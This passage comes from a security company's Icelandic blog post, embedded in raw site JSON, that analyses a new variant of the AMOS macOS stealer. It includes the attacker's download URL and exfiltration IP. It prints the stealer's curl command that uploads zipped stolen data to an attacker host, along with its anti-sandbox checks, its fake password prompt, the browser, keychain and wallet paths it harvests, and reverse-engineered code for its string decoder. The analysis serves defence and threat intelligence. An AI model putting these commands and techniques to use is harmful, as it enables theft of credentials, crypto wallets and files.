núna","site/phone",{"text":493,"href":13030,"icon":13031},"mailto:info@glueckkanja.com","site/mail",{"ctaText":13033,"cta":13034,"method":12949,"action":13036,"fields":13037},"Senda",{"skin":13035},"primary on-surface","/send",[13038,13042,13046,13049,13053,13058,13061,13064],{"type":13039,"id":13040,"value":13041},"hidden","_next","successful",{"label":13043,"type":620,"id":13044,"required":325,"requiredMsg":13045},"Nafn*","name","Vinsamlegast sláðu inn nafn.",{"label":13047,"type":620,"id":403,"required":325,"requiredMsg":13048},"Fyrirtæki*","Vinsamlegast sláðu inn fyrirtæki.",{"label":13050,"type":13051,"id":13051,"required":325,"requiredMsg":13052},"Netfang*","email","Vinsamlegast sláðu inn netfang.",{"label":13054,"type":13055,"id":13056,"required":325,"requiredMsg":13057},"Gögnin þín eru vistuð hjá okkur til vinnslu og svörunar á fyrirspurn þinni. Frekari upplýsingar um persónuvernd finnur þú í \u003Ca href=\"/is/privacy\">persónuverndarstefnu okkar\u003C/a>.","checkbox","dataprotection","Vinsamlegast staðfestu",{"type":13039,"id":13059,"value":13060},"_subject","Form: Blog MSSP 2025 | IS",{"type":13039,"id":13062,"value":13063},"inbox_key","gkgab-contact-form",{"type":13039,"id":13065},"_gotcha","/posts/2025-06-16-quiet-breach",{"title":551,"description":562},"posts/2025-06-16-quiet-breach",[13070,13071,13072,13073],"Microsoft 365 Defender","Threat Intelligence","Cyber Security Operations Center","Incident Deep Dive","qZhtpa4gx5ppdkpuOpJC5NGvGn1Y2F8pKYPSStdBVi4",{"id":13076,"title":13077,"author":13078,"body":13079,"cta":494,"description":13083,"eventid":494,"extension":532,"hideInRecent":484,"layout":12949,"meta":15179,"moment":15181,"navigation":325,"path":15240,"seo":15241,"stem":15242,"tags":15243,"webcast":484,"__hash__":15247},"content_is/posts/2026-04-10-incident-to-intelligence.md","Anatómía á óþekktum AMOS Stealer: Frá alerti til ónæmis á klukkustundum",[520],{"type":522,"value":13080,"toc":15143},[13081,13084,13087,13090,13093,13097,13100,13102,13105,13112,13114,13118,13121,13123,13126,13135,13138,13141,13149,13152,13156,13158,13161,13180,13183,13191,13194,13202,13209,13213,13215,13218,13226,13241,13245,13247,13250,13254,13256,13264,13268,13270,13278,13282,13284,13287,13291,13293,13296,13304,13308,13310,13317,13320,13409,13412,13442,13444,13448,13451,13453,13459,13462,13466,13468,13541,13545,13547,13558,13565,13636,13647,13654,13658,13660,13719,13723,13725,13732,13734,13738,13740,13747,13773,13958,13961,13969,13980,13983,13991,14005,14018,14020,14024,14026,14043,14065,14254,14257,14265,14268,14271,14273,14277,14279,14282,14354,14357,14376,14453,14456,14458,14462,14464,14467,14474,14529,14532,14540,14543,14545,14549,14551,14558,14569,14617,14628,14667,14676,14691,14694,14696,14700,14702,14709,14712,14720,14723,14731,14745,14748,14750,14754,14756,14766,14770,14772,14790,14798,14812,14832,14836,14838,14841,14849,14852,14860,14874,14878,14880,14883,14891,14909,14915,14919,14921,14929,14935,14942,14946,14948,14956,14960,14962,14965,14973,14976,14980,14982,14990,14994,14996,15004,15008,15010,15018,15022,15024,15032,15049,15054,15056,15060,15063,15065,15072,15089,15092,15104,15106,15110,15113,15115,15118,15121,15124,15140],[525,13082,13083],{},"Þegar alert kviknar í SOC-inu okkar byrjar klukkan að tifa, ekki bara fyrir viðkomandi viðskiptavin heldur fyrir öll fyrirtæki undir vernd okkar. Hættulegasta augnablikið í nútíma threat-umhverfi er intelligence gap-ið, tímaglugginn milli fyrstu notkunar á nýju malware-afbrigði og þess dags þegar iðnaðurinn heyrir af því.",[525,13085,13086],{},"Fyrir sjálfstæð security-teymi þýðir þetta gat mikinn viðkvæmleika: þú bíður eftir vendor-uppfærslu eða signature-feed sem enn hefur ekki verið skrifaður. Fyrir viðskiptavini okkar lokar Shared Threat Intelligence, sem við þróuðum innanhúss, nákvæmlega þessum glugga.",[525,13088,13089],{},"Þessi færsla er tæknileg sundurgreining á því hvernig við tókum í sundur áður óskráð afbrigði af AMOS (Atomic macOS Stealer) og hvernig einn kompromíseraður endpoint varð, á fáum klukkustundum, að þéttri greiningu og blokkun í öllum umhverfum viðskiptavina okkar.",[13091,13092],"hr",{},[556,13094,13096],{"id":13095},"atvikið-óþekkt-ioc-sviðsmynd","Atvikið: Óþekkt IOC-sviðsmynd",[525,13098,13099],{},"{: #atvikid}",[525,13101,562],{},[525,13103,13104],{},"Alertið barst 12. mars 2026 klukkan 06:25 að staðartíma: macOS-endpoint hafði verið kompromíseraður. Þegar SOC-teymið okkar byrjaði að greina artifacts stóðum við frammi fyrir aðstæðum sem hver threat analyst óttast: engir þekktir file-hash-ar, engar C2-IP-tölur, engar marktækar behavior-signature í opnum gagnagrunnum.",[525,13106,13107,13108,13111],{},"Öll árásararkitektúrinn kom ekki fram fyrr en í djúpgreiningu. Sýkingin byggði á 15,7 MB macOS Universal Binary (x86_64 og ARM64), sett á ",[578,13109,13110],{},"/private/tmp/helper",". Sample-ið var ekki beint aðgengilegt á kompromíseraða kerfinu; teymið okkar þurfti að endurgera sýkingarkeðjuna og herma upphaflegu delivery-fyrirspurnina til að ná binary-inu handvirkt úr innviðum árásaraðilans.",[13091,13113],{},[740,13115,13117],{"id":13116},"stage-1-sandbox-athuganir","Stage 1: Sandbox-athuganir",[525,13119,13120],{},"{: #stage-1-sandbox-athuganir}",[525,13122,746],{},[525,13124,13125],{},"Áður en sjálfur stealer-inn keyrði á tækinu hafði AppleScript-payload þegar keyrt. Hver strengur í honum, hver skráaslóð, hver shell-skipun, hver URL var kóðaður í gegnum þrjár sérsniðnar arithmetic-fúnksjónir:",[853,13127,13129],{"style":13128},"background: var(--color-bg-grey); border-radius: 6px; padding: 1rem; margin: 0.25rem 0",[615,13130,13133],{"className":13131,"code":13132,"language":620},[618],"on ipbgcjzgqa(a, b)\n    -- result[i] = chr(a[i] - b[i])\n\non kwcvvjininv(a, b)\n    -- result[i] = chr(a[i] + b[i])\n\non xqylheckjx(a, b, offset)\n    -- result[i] = chr(a[i] - b[i] - offset)\n",[578,13134,13132],{"__ignoreMap":529},[525,13136,13137],{},"Enginn einn strengur birtist í plaintext. Það sem virtist við fyrstu sýn vera merkingarlaus integer-arrays reyndist, eftir að kóðunarreglunum var snúið við, vera fullkomið og tilbúið framework fyrir gagnaþjófnað og exfiltration.",[525,13139,13140],{},"Við afkóðuðum hvern array í scriptinu statískt. Niðurstöðurnar voru skýrar:",[853,13142,13143],{"style":13128},[615,13144,13147],{"className":13145,"code":13146,"language":620},[618],"Download URL: https[:]//woupp[.]com/n8n/update\nExfil server: http[:]//92[.]246[.]136[.]14/contact\nExfil method: curl --connect-timeout 120 --max-time 300 -X POST -F \"file=@/tmp/out.zip\"\n",[578,13148,13146],{"__ignoreMap":529},[525,13150,13151],{},"Download-URL-ið stælir vísvitandi lögmæta n8n workflow automation uppfærslu, tól sem er útbreitt meðal þróunaraðila og DevOps-verkfræðinga. Það er ekki tilviljun: herferðin miðar á tæknilega færa notendur, ekki venjulega endanotendur sem setja upp krakkaðan hugbúnað.",[740,13153,13155],{"id":13154},"anti-sandbox-check-ið","Anti-sandbox check-ið",[525,13157,746],{},[525,13159,13160],{},"Fyrir download-ið keyrði scriptið sérstakan VM- og sandbox-detection routine. Úr atvika-artifacts gátum við auk þess endurbyggt sjálfstætt anti-sandbox script:",[853,13162,13163],{"style":13128},[615,13164,13168],{"className":13165,"code":13166,"language":13167,"meta":529,"style":529},"language-applescript shiki shiki-themes github-light github-dark","set urgufr  to do shell script \"system_profiler SPMemoryDataType\"\nset qcsvjxp to do shell script \"system_profiler SPHardwareDataType\"\n","applescript",[578,13169,13170,13175],{"__ignoreMap":529},[1712,13171,13172],{"class":1714,"line":1715},[1712,13173,13174],{},"set urgufr  to do shell script \"system_profiler SPMemoryDataType\"\n",[1712,13176,13177],{"class":1714,"line":530},[1712,13178,13179],{},"set qcsvjxp to do shell script \"system_profiler SPHardwareDataType\"\n",[525,13181,13182],{},"Niðurstöðurnar bar scriptið síðan saman við tvo lista. Sá fyrri leitaði að virtualization-merkingum í minnisgögnunum:",[853,13184,13185],{"style":13128},[615,13186,13189],{"className":13187,"code":13188,"language":620},[618],"\"QEMU\"   \"VMware\"   \"KVM\"\n",[578,13190,13188],{"__ignoreMap":529},[525,13192,13193],{},"Sá seinni bar hardware-auðkenni saman við lista yfir þekktar serial-tölur á greiningarvélum:",[853,13195,13196],{"style":13128},[615,13197,13200],{"className":13198,"code":13199,"language":620},[618],"\"Z31FHXYQ0J\"     -- known sandbox machine serial\n\"C07T508TG1J2\"   -- known sandbox machine serial\n\"C02TM2ZBHX87\"   -- known sandbox machine serial\n\"Chip: Unknown\"  -- emulation indicator\n\"Intel Core 2\"   -- legacy/VM indicator\n",[578,13201,13199],{"__ignoreMap":529},[525,13203,13204,13205,13208],{},"Við samsvörun: ",[578,13206,13207],{},"exit 100",", full stöðvun. Á raunverulegri MacBook Pro með Apple Silicon fór allt hljóðlega í gegnum athuganirnar og keyrslan hélt áfram. Sandbox-evasion tækni á faglegu stigi sem rann af stað áður en eitt einasta byte af binary-inu var sótt.",[740,13210,13212],{"id":13211},"einfalt-en-áhrifaríkt-falsaða-lykilorðabeiðnin","Einfalt en áhrifaríkt: falsaða lykilorðabeiðnin",[525,13214,746],{},[525,13216,13217],{},"Afkóðaða scriptið innihélt einnig dialog fyrir privilege escalation í gegnum social engineering:",[853,13219,13220],{"style":13128},[615,13221,13224],{"className":13222,"code":13223,"language":620},[618],"Title:   \"Application wants to install helper\"\nPrompt:  \"Required Application Helper. Please enter device\n          password to continue.\"\nButton:  \"Continue\"\n",[578,13225,13223],{"__ignoreMap":529},[525,13227,13228,13229,13232,13233,13236,13237,13240],{},"Dialogurinn birtist í gegnum staðlað macOS ",[578,13230,13231],{},"display dialog","-kall með ",[578,13234,13235],{},"with hidden answer"," og er sjónrænt ekki hægt að greina frá raunverulegri macOS authorization-beiðni. Innslegna lykilorðið notaði scriptið til að kalla ",[578,13238,13239],{},"login -pf \u003Cusername>"," og lyfta ferlinu í root-réttindi, enn áður en binary-ið var keyrt.",[740,13242,13244],{"id":13243},"það-sem-scriptið-safnaði","Það sem scriptið safnaði",[525,13246,746],{},[525,13248,13249],{},"Um leið og binary-ið var í keyrslu hélt osascript sínum eigin söfnunarferli áfram og greip í hvern flokk viðkvæmra kerfisgagna. Við afkóðuðum allar söfnunarslóðir og markmið:",[888,13251,13253],{"id":13252},"browser-gögn-allir-chromium-browsers-safari","Browser-gögn (allir Chromium-browsers + Safari):",[525,13255,894],{},[853,13257,13258],{"style":13128},[615,13259,13262],{"className":13260,"code":13261,"language":620},[618],"/Login Data          /Cookies            /Web Data\n/Local Extension Settings/   /IndexedDB/   /Local Storage/leveldb/\n",[578,13263,13261],{"__ignoreMap":529},[888,13265,13267],{"id":13266},"macos-keychain","macOS Keychain:",[525,13269,894],{},[853,13271,13272],{"style":13128},[615,13273,13276],{"className":13274,"code":13275,"language":620},[618],"~/Library/Keychains/login.keychain-db  -- accessed directly via cat\n",[578,13277,13275],{"__ignoreMap":529},[888,13279,13281],{"id":13280},"apple-notes","Apple Notes",[525,13283,894],{},[525,13285,13286],{},"Fullt innihald flutt út sem HTML með teljara-header",[888,13288,13290],{"id":13289},"staðbundnar-skrár","Staðbundnar skrár",[525,13292,894],{},[525,13294,13295],{},"Skrifborð og Documents, allt að 30 MB, með áherslu á:",[853,13297,13298],{"style":13128},[615,13299,13302],{"className":13300,"code":13301,"language":620},[618],"pdf  doc  docx  xls  xlsx  ppt  pptx  txt  rtf\nkey  p12  pem  cert  pfx  sql  db  sqlite\njson  xml  yaml  conf  env  csv\n",[578,13303,13301],{"__ignoreMap":529},[888,13305,13307],{"id":13306},"rafmyntaveski","Rafmyntaveski",[525,13309,894],{},[525,13311,13312,13313,13316],{},"Harðkóðaður listi með ",[567,13314,13315],{},"meira en 200 browser extension ID-um"," sem nær yfir öll algeng veski, þar á meðal MetaMask, Coinbase Wallet, TronLink, Phantom, Keplr, Yoroi, Ledger Live, Trezor Suite, XDEFI og Exodus.",[525,13318,13319],{},"Eftir söfnun voru öll gögn sett í handahófskennt nefnda tímabundna möppu og exfiltreruð:",[853,13321,13322],{"style":13128},[615,13323,13325],{"className":2788,"code":13324,"language":2790,"meta":529,"style":529},"ditto -c -k --sequesterRsrc \u003Cstaging_dir> /tmp/out.zip\ncurl --connect-timeout 120 --max-time 300 -X POST \\\n  -H \"user: \u003Cuuid>\" -H \"BuildID: \u003Chw_profile>\" \\\n  -F \"file=@/tmp/out.zip\" laislivon[.]com/contact\n",[578,13326,13327,13356,13382,13398],{"__ignoreMap":529},[1712,13328,13329,13332,13335,13338,13341,13344,13347,13350,13353],{"class":1714,"line":1715},[1712,13330,13331],{"class":2797},"ditto",[1712,13333,13334],{"class":2805}," -c",[1712,13336,13337],{"class":2805}," -k",[1712,13339,13340],{"class":2805}," --sequesterRsrc",[1712,13342,13343],{"class":3022}," \u003C",[1712,13345,13346],{"class":2801},"staging_di",[1712,13348,13349],{"class":3032},"r",[1712,13351,13352],{"class":3022},">",[1712,13354,13355],{"class":2801}," /tmp/out.zip\n",[1712,13357,13358,13361,13364,13367,13370,13373,13376,13379],{"class":1714,"line":530},[1712,13359,13360],{"class":2797},"curl",[1712,13362,13363],{"class":2805}," --connect-timeout",[1712,13365,13366],{"class":2805}," 120",[1712,13368,13369],{"class":2805}," --max-time",[1712,13371,13372],{"class":2805}," 300",[1712,13374,13375],{"class":2805}," -X",[1712,13377,13378],{"class":2801}," POST",[1712,13380,13381],{"class":2805}," \\\n",[1712,13383,13384,13387,13390,13393,13396],{"class":1714,"line":2096},[1712,13385,13386],{"class":2805},"  -H",[1712,13388,13389],{"class":2801}," \"user: \u003Cuuid>\"",[1712,13391,13392],{"class":2805}," -H",[1712,13394,13395],{"class":2801}," \"BuildID: \u003Chw_profile>\"",[1712,13397,13381],{"class":2805},[1712,13399,13400,13403,13406],{"class":1714,"line":2102},[1712,13401,13402],{"class":2805},"  -F",[1712,13404,13405],{"class":2801}," \"file=@/tmp/out.zip\"",[1712,13407,13408],{"class":2801}," laislivon[.]com/contact\n",[525,13410,13411],{},"Hreinsun fylgdi strax á eftir:",[853,13413,13414],{"style":13128},[615,13415,13417],{"className":2788,"code":13416,"language":2790,"meta":529,"style":529},"rm -r \u003Cstaging_dir>\nrm /tmp/out.zip\n",[578,13418,13419,13436],{"__ignoreMap":529},[1712,13420,13421,13424,13427,13429,13431,13433],{"class":1714,"line":1715},[1712,13422,13423],{"class":2797},"rm",[1712,13425,13426],{"class":2805}," -r",[1712,13428,13343],{"class":3022},[1712,13430,13346],{"class":2801},[1712,13432,13349],{"class":3032},[1712,13434,13435],{"class":3022},">\n",[1712,13437,13438,13440],{"class":1714,"line":530},[1712,13439,13423],{"class":2797},[1712,13441,13355],{"class":2801},[13091,13443],{},[556,13445,13447],{"id":13446},"stage-2-reverse-engineering-á-helper-binary-inu","Stage 2: Reverse engineering á 'helper' binary-inu",[525,13449,13450],{},"{: #stage-2-binary-greining}",[525,13452,562],{},[525,13454,13455,13458],{},[578,13456,13457],{},"helper"," binary-ið er sá hluti þar sem þessi greining fer virkilega á dýptina. Um er að ræða faglega obfuskerað macOS-executable sem torveldar kerfisbundið statíska greiningu og olli mestu reverse-engineering vinnunni í þessari rannsókn.",[525,13460,13461],{},"Öll greiningin var unnin með Ghidra og sérsniðnu ARM64-greiningarferli okkar.",[740,13463,13465],{"id":13464},"eiginleikar-skrárinnar","Eiginleikar skrárinnar",[525,13467,746],{},[853,13469,13471],{"style":13470},"border-radius: 6px; overflow: hidden; margin: 0.25rem 0",[1417,13472,4706,13474,4706,13483],{"style":13473},"width:100%; border-collapse: collapse; font-size: 0.85rem",[1420,13475,4711,13476,4706],{},[1423,13477,11158,13478,11158,13481,4711],{},[1426,13479,1428],{"style":13480},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #dde1e4; text-align: left; font-weight: 600",[1426,13482,1431],{"style":13480},[1433,13484,4711,13485,4711,13494,4711,13503,4711,13511,4711,13521,4711,13531,4706],{},[1423,13486,11158,13487,11158,13491,4711],{},[1438,13488,13490],{"style":13489},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa","Format",[1438,13492,13493],{"style":13489},"Mach-O Universal Binary",[1423,13495,11158,13496,11158,13500,4711],{},[1438,13497,13499],{"style":13498},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff","Architectures",[1438,13501,13502],{"style":13498},"x86_64 (offset 0x1000) + ARM64 (offset 0x7ec000)",[1423,13504,11158,13505,11158,13508,4711],{},[1438,13506,13507],{"style":13489},"Size",[1438,13509,13510],{"style":13489},"15.7 MB",[1423,13512,11158,13513,11158,13516,4711],{},[1438,13514,13515],{"style":13498},"MD5",[1438,13517,13518],{"style":13498},[578,13519,13520],{},"4599fdf2fa2099b30d8bbf76703dd634",[1423,13522,11158,13523,11158,13526,4711],{},[1438,13524,13525],{"style":13489},"SHA-1",[1438,13527,13528],{"style":13489},[578,13529,13530],{},"3992edfb6f885ae5f09f3e69a2578048d6d5bb54",[1423,13532,11158,13533,11158,13536,4711],{},[1438,13534,13535],{"style":13498},"SHA-256",[1438,13537,13538],{"style":13498},[578,13539,13540],{},"5664800f21d63e448b934bfcdc258b0c7dadb36e88cf4dd71b24e19656a2b78d",[740,13542,13544],{"id":13543},"það-byrjar-á-undan-main","Það byrjar á undan main()",[525,13546,746],{},[525,13548,13549,13550,13553,13554,13557],{},"Það fyrsta sem við tókum eftir í Ghidra: þetta binary hegðar sér ekki eins og venjulegt executable. Raunverulegur entry point er ekki ",[578,13551,13552],{},"main()",", heldur fúnksjón sem er skráð í ",[578,13555,13556],{},"__mod_init_func",", macOS-vélbúnaði sem gefur dynamic linker-num (dyld) skipun um að keyra tilteknar fúnksjónir sjálfkrafa við hleðslu binary-ins, áður en nokkur nytsamur kóði keyrir.",[525,13559,13560,13561,13564],{},"Init-fúnksjónin á ",[578,13562,13563],{},"0x10009f384"," er hinn eiginlegi entry point malware-sins. Hér er Ghidra-decompileringin:",[853,13566,13567],{"style":13128},[13568,13569,13570,13574,13576,13579,1564,13583,3224,13587,13589,13590,13593,13594,13608],"code-block",{},[1712,13571,13573],{"style":13572},"color:#6a737d","// FUN_10009f384 @ 0x10009f384",[724,13575],{},[1712,13577,13578],{"style":13572},"// __mod_init_func registered — executes before main()",[1712,13580,13582],{"style":13581},"color:#d73a49","void",[1712,13584,13586],{"style":13585},"color:#6f42c1","FUN_10009f384",[1712,13588,13582],{"style":13581},")\n{\n  ",[1712,13591,13592],{"style":13581},"int"," iVar1;\n",[525,13595,13596,13599,13600,3224,13603,13607],{},[1712,13597,13598],{"style":13572},"// Anti-sandbox delay: usleep(0x37e) = 894 microseconds","\niVar1 = ",[1712,13601,13602],{"style":13585},"_usleep",[1712,13604,13606],{"style":13605},"color:#005cc5","0x37e",");",[525,13609,13610,13613,13616,13617,13619,13620,13623,13624,13627,13628,13631,13632,13635],{},[1712,13611,13612],{"style":13572},"// Indirect jump table — 14-state machine",[1712,13614,13615],{"style":13572},"// Defeats CFG reconstruction in static analysis tools","\n(_(",[1712,13618,578],{"style":13581}," _)((",[1712,13621,13622],{"style":13581},"ulong",")switchD_10009f43c::switchdataD_1000cd3fc * ",[1712,13625,13626],{"style":13605},"4"," + ",[1712,13629,13630],{"style":13605},"0x10009f440","))(iVar1);\n",[1712,13633,13634],{"style":13581},"return",";\n}",[525,13637,13638,13639,13642,13643,13646],{},"Tvennt stingur strax í augun. Í fyrsta lagi 894 míkrósekúndna ",[578,13640,13641],{},"usleep"," við ræsingu: anti-sandbox timing-merki. Alvarlegri er óbeina jump-taflan á ",[578,13644,13645],{},"0x10009f43c",". Það er reiknaður branch þar sem targetheimilisfangið er sótt á runtime úr lookup-töflu. Statísk greiningartól geta ekki endurbyggt control flow graph-inn; Ghidra skráði nokkrar „unreachable block\" viðvaranir þegar við reyndum að rekja keyrsluslóðina. Þetta er þannig hugsað.",[525,13648,13649,13650,13653],{},"Jump-taflan drífur áfram ",[567,13651,13652],{},"14-state keyrsluvél",". Hvert ástand framkvæmir eitt stakt skref í dekryptings- og keyrslupipelínunni. State-teljarinn er uppfærður eftir hvert skref og vélin keyrir þar til öll ástönd hafa verið gengið í gegn.",[740,13655,13657],{"id":13656},"arm64-disassembly-á-state-dispatcher-num","ARM64-disassembly á state dispatcher-num",[525,13659,746],{},[853,13661,13662],{"style":13128},[615,13663,13667],{"className":13664,"code":13665,"language":13666,"meta":529,"style":529},"language-asm shiki shiki-themes github-light github-dark","10009f3fc:  stp xzr,xzr,[sp, #0x48]\n10009f41c:  mov w0,#0x37e\n10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox\n10009f424:  cmp w25,#0xd             ; state counter \u003C 14?\n10009f428:  b.hi 0x10009fd44         ; exit if done\n10009f42c:  mov w8,w25               ; current state index\n10009f430:  adr x9,0x10009f440       ; base of jump table\n10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table\n10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address\n10009f43c:  br x9                    ; indirect branch, CFG broken here\n","asm",[578,13668,13669,13674,13679,13684,13689,13694,13699,13704,13709,13714],{"__ignoreMap":529},[1712,13670,13671],{"class":1714,"line":1715},[1712,13672,13673],{},"10009f3fc:  stp xzr,xzr,[sp, #0x48]\n",[1712,13675,13676],{"class":1714,"line":530},[1712,13677,13678],{},"10009f41c:  mov w0,#0x37e\n",[1712,13680,13681],{"class":1714,"line":2096},[1712,13682,13683],{},"10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox\n",[1712,13685,13686],{"class":1714,"line":2102},[1712,13687,13688],{},"10009f424:  cmp w25,#0xd             ; state counter \u003C 14?\n",[1712,13690,13691],{"class":1714,"line":2424},[1712,13692,13693],{},"10009f428:  b.hi 0x10009fd44         ; exit if done\n",[1712,13695,13696],{"class":1714,"line":2430},[1712,13697,13698],{},"10009f42c:  mov w8,w25               ; current state index\n",[1712,13700,13701],{"class":1714,"line":3086},[1712,13702,13703],{},"10009f430:  adr x9,0x10009f440       ; base of jump table\n",[1712,13705,13706],{"class":1714,"line":3881},[1712,13707,13708],{},"10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table\n",[1712,13710,13711],{"class":1714,"line":3887},[1712,13712,13713],{},"10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address\n",[1712,13715,13716],{"class":1714,"line":4132},[1712,13717,13718],{},"10009f43c:  br x9                    ; indirect branch, CFG broken here\n",[740,13720,13722],{"id":13721},"sex-staflaðar-obfuskun-lög","Sex staflaðar obfuskun-lög",[525,13724,746],{},[525,13726,13727,13728,13731],{},"Binary-ið notar sex mismunandi obfuskun-lög, stafluð og hlekkjuð saman þannig að úttak hvers lags er sett inn í það næsta. Hver payload, hver strengur, hver innri fasti er kóðaður. Í ",[578,13729,13730],{},"__const","-segment-inu birtist ekkert merkingarbært í plaintext. Það sem á eftir kemur er full lag-fyrir-lag sundurgreining, staðfest beint í Ghidra, alveg niður í einstakar ARM64-instructions. Hver notuð tækni er þekkt út af fyrir sig; hlekkjuð beiting þeirra yfir mörg stig skapaði þó þéttlega háða keyrsluflæði sem torveldaði mjög statíska og dýnamíska greiningu.",[13091,13733],{},[888,13735,13737],{"id":13736},"layer-1-compile-time-triplet-kóðun","Layer 1: compile-time triplet-kóðun",[525,13739,894],{},[525,13741,13742,13743,13746],{},"Enginn strengur í binary-inu er geymdur sem stafarunning, heldur sem runa af 12-byte arithmetic triplets. Hvert triplet ",[578,13744,13745],{},"(a, b, shift)"," kóðar nákvæmlega eitt úttaksstaftáknið. Kóðunarreglunni er beitt á compile-time, þannig að enginn strengur er nokkru sinni til sem plaintext í binary-inu, ekki einu sinni tímabundið við hleðslu.",[525,13748,13749,13750,13753,13754,13757,13758,13761,13762,13753,13765,13768,13769,13772],{},"Tvær aðskildar decoder-fúnksjónir sinna ólíkum strengjastærðum. ",[578,13751,13752],{},"FUN_100087c08"," á ",[578,13755,13756],{},"0x100087c08"," afkóðar 60-stafa strengi (720 byte af inntaksgögnum úr ",[578,13759,13760],{},"DAT_1006292cc","). ",[578,13763,13764],{},"FUN_10007ad80",[578,13766,13767],{},"0x10007ad80"," afkóðar 56-stafa strengi (672 byte úr ",[578,13770,13771],{},"DAT_10049708c","). Báðar nota sama algorithminn.",[853,13774,13775],{"style":13128},[13568,13776,13777,13780,13782,13785,1564,13787,3224,13789,13792,13793,13795,13796,13798,13799,13801,13802,13805,13806],{},[1712,13778,13779],{"style":13572},"// FUN_100087c08 @ 0x100087c08",[724,13781],{},[1712,13783,13784],{"style":13572},"// Triplet decoder, 60 chars, data from DAT_1006292cc",[1712,13786,13582],{"style":13581},[1712,13788,13752],{"style":13585},[1712,13790,13791],{"style":13581},"long"," *param_1)\n{\n  ",[1712,13794,13791],{"style":13581}," *plVar1;\n  ",[1712,13797,13582],{"style":13581}," *pvVar2;\n  ",[1712,13800,13791],{"style":13581}," lVar3;\n  ",[1712,13803,13804],{"style":13581},"uint"," *puVar4;\n",[525,13807,13808,13809,3224,13812,13815,13816,13821,13824,13825,13815,13827,13830,13832,13835,13836,646,13839,13815,13842,13845,13846,13848,13849,13619,13851,13853,13854,3089,13857,13860,13861,13863,13864,13867,13868,13871,13872,13619,13875,13877,13878,13881,13882,13885,13887,13890,13891,13619,13893,13895,13896,13898,13899,13901,13902,13907,13908,13911,13912,13917,13918,13921,13922,13924,13925,13930,13931,13933,13934,13936,13937,13940,13941,13944,13945,13815,13947,13950,13952,13955,13956,13635],{},"pvVar2 = ",[1712,13810,13811],{"style":13585},"operator_new",[1712,13813,13814],{"style":13605},"0x2d0","); ",[1712,13817,13818,13819],{"style":13572},"// allocate 720 bytes (60 triplets × 12)",[724,13820],{},[1712,13822,13823],{"style":13585},"_memcpy","(pvVar2, &DAT_1006292cc, ",[1712,13826,13814],{"style":13605},[1712,13828,13829],{"style":13572},"// copy encoded triplets from __const",[724,13831],{},[1712,13833,13834],{"style":13585},"FUN_1000a0840","(param_1, ",[1712,13837,13838],{"style":13605},"0x3c",[1712,13840,13841],{"style":13605},"0",[1712,13843,13844],{"style":13572},"// init 60-char output buffer","\nlVar3 = ",[1712,13847,13841],{"style":13605},";\npuVar4 = (",[1712,13850,13804],{"style":13581},[1712,13852,13791],{"style":13581},")pvVar2 + ",[1712,13855,13856],{"style":13605},"8",[1712,13858,13859],{"style":13581},"do"," {\nplVar1 = (",[1712,13862,13791],{"style":13581}," _)_param_1;\n",[1712,13865,13866],{"style":13581},"if"," (-",[1712,13869,13870],{"style":13605},"1"," \u003C _(",[1712,13873,13874],{"style":13581},"char",[1712,13876,13791],{"style":13581},")param_1 + ",[1712,13879,13880],{"style":13605},"0x17",")) {\nplVar1 = param_1;\n}\n",[1712,13883,13884],{"style":13572},"// THE DECODE FORMULA, one character per triplet:",[724,13886],{},[1712,13888,13889],{"style":13572},"// char = ((b _ 3) XOR a) >> shift) - b","\n_(",[1712,13892,13874],{"style":13581},[1712,13894,13791],{"style":13581},")plVar1 + lVar3) =\n(",[1712,13897,13874],{"style":13581},")((",[1712,13900,13592],{"style":13581},")(puVar4",[1712,13903,13904,13905],{},"-",[1712,13906,13870],{"style":13605}," * ",[1712,13909,13910],{"style":13605},"3"," ^ puVar4",[1712,13913,13904,13914],{},[1712,13915,13916],{"style":13605},"2",") >> (*puVar4 & ",[1712,13919,13920],{"style":13605},"0x1f",")) - (",[1712,13923,13874],{"style":13581},")puVar4",[1712,13926,13927],{},[1712,13928,13929],{"style":13605},"-1",";\nlVar3 = lVar3 + ",[1712,13932,13870],{"style":13605},";\npuVar4 = puVar4 + ",[1712,13935,13910],{"style":13605},"; ",[1712,13938,13939],{"style":13572},"// advance 12 bytes — next triplet","\n} ",[1712,13942,13943],{"style":13581},"while"," (lVar3 != ",[1712,13946,13838],{"style":13605},[1712,13948,13949],{"style":13572},"// loop exactly 60 times",[724,13951],{},[1712,13953,13954],{"style":13585},"operator_delete","(pvVar2);\n",[1712,13957,13634],{"style":13581},[525,13959,13960],{},"Samsvarandi ARM64-assembly, þar sem hver instruction samsvarar beint aðgerð í formúlunni:",[853,13962,13963],{"style":13128},[615,13964,13967],{"className":13965,"code":13966,"language":620},[618],"100087c48:  add x9,x20,#0x8\n100087c4c:  ldp w10,w11,[x9, #-0x8]   ; load a → w10,  b → w11\n100087c50:  add w12,w11,w11, LSL #0x1 ; w12 = b + (b \u003C\u003C 1) = b * 3\n                                       ; (compiler avoids MUL instruction)\n100087c54:  eor w10,w12,w10           ; w10 = (b*3) XOR a\n100087c58:  ldr w12,[x9], #0xc        ; w12 = shift value; post-increment by 12\n100087c5c:  asr w10,w10,w12           ; arithmetic right shift — sign bit preserved\n100087c60:  sub w10,w10,w11           ; subtract b — final decoded character\n100087c74:  strb w10,[x11, x8, LSL ]  ; store one byte to output buffer\n100087c78:  add x8,x8,#0x1\n100087c7c:  cmp x8,#0x3c              ; loop counter vs. 60\n100087c80:  b.ne 0x100087c4c          ; continue until all 60 chars decoded\n",[578,13968,13966],{"__ignoreMap":529},[525,13970,13971,13972,13975,13976,13979],{},"Athyglisvert: margföldun ",[578,13973,13974],{},"b × 3"," er útfærð sem ",[578,13977,13978],{},"add w12, w11, w11, LSL #1",", shift-and-add sem forðast alveg margföldunar-instruction. Þetta er sígild compiler-optimization sem gerir kóðann samtímis erfiðari að finna með signature matching.",[525,13981,13982],{},"Fulla afkóðunarformúlan:",[853,13984,13985],{"style":13128},[615,13986,13989],{"className":13987,"code":13988,"language":620},[618],"char = ASR( (b × 3) XOR a, shift ) − 